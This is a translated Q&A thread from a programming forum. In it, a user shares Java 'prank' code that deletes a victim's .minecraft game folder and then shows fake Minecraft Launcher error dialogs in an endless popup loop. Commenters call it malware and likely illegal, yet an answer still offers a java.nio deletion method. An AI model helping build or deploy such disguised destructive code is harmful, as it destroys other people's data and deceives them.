2016-03-24 2 views
-20

Я искал бесконечно для этого и ничего не могу найти. Файл .minecraft не удаляется. Я пробовал переименовать его только minecraft, но это все равно не сработает.Java: Удалите файл, начинающийся с "."

import javax.swing.JOptionPane;

import java.io.File;

public class justaprankbro {

public static void main(String[] args){ 
    int x; 

    File file = new File(System.getProperty("user.home") + "/AppData/Roaming/.minecraft"); 

    if(file.isHidden()){ 
     System.out.println("This file is hidden"); 
    }else{ 
     System.out.println("This file is not hidden"); 
    } 


    if(file.delete()){ 
      System.out.println(file.getName() + " is deleted!"); 
    }else{ 
      System.out.println("Delete operation is failed."); 
    } 



    JOptionPane.showMessageDialog (null, "A new Minecraft Launcher was released" + "\nPlease click OK to update", "Minecraft Launcher 1.6.61", JOptionPane.WARNING_MESSAGE); 

    try { 
     Thread.sleep(5000);     //1000 milliseconds is one second. 
    } catch(InterruptedException ex) { 
     Thread.currentThread().interrupt(); 
    } 

    JOptionPane.showMessageDialog (null, "Unable to start the Minecraft Runtime Environment. This is most " + "\nlikely caused by a corruption. Please press OK to auto-fix.", "Minecraft Launcher 1.6.61", JOptionPane.WARNING_MESSAGE); 

    try { 
     Thread.sleep(3000);     //1000 milliseconds is one second. 
    } catch(InterruptedException ex) { 
     Thread.currentThread().interrupt(); 
    } 
    JOptionPane.showMessageDialog (null, "Error: 34; minecraft failed to start, please" + "\npress OK to backup files and reinstall", "Minecraft Launcher 1.6.61", JOptionPane.ERROR_MESSAGE); 

    for(x = 0; x < 1; x = 0){ 
     JOptionPane.showMessageDialog (null, "Fatal Error, please contact Mojang immidiately", "Minecraft Launcher 1.6.61", JOptionPane.ERROR_MESSAGE); 
    } 
} 

}

+2

* «... Я хочу сделать эту шутку на них ...» * - Не делай этого. Это опасно, скорее всего, нарушение ИТ-политики и, возможно, НЕЗАКОННОЕ. –

+1

Учитывая, что '.minecraft' является * папкой *, неудивительно, что есть проблемы с удалением. Это, однако, не очень хорошая вещь, чтобы делать с кем-то еще и подпадает под термин «вредоносное ПО», а не шутка. – Petesh

+2

Удаление файла на компьютере пользователя elses, вероятно, является незаконным. Удаление какого-либо файла elses в общей системе без разрешения, вероятно, является незаконным. Определяющим фактором является то, является ли вы УПОЛНОМОЧЕНЫ для этого. На самом деле, вы с большей вероятностью столкнетесь с проблемами со своей школой, чем полиция, но вам нужно знать, что говорит закон в вашем государстве/стране. –

ответ

3

Используйте NiO пакет вместо:

import java.nio.file.Files; 
import java.nio.file.Path; 
import java.nio.file.Paths; 

Path p = Paths.get("/tmp/.minecraft"); 

if(!Files.exists(p)){ 
    Files.createFile(p); 
} 
if(Files.exists(p)){ 
    Files.delete(p); 
} 
+0

Почему пакет nio лучше? Это работает так же? Что еще не существует? – StealthVice7

+0

Это не принципиально лучше, и использование стандартного пакета io в порядке, я не уверен, где ваша ошибка, но из-за чистого примера удаления файла (начиная с.) Может быть хорошей отправной точкой. –

+0

Моя программа отлично работает со всеми другими тестовыми файлами, которые я сделал, но не с файлом '.minecraft'. – StealthVice7

Смежные вопросы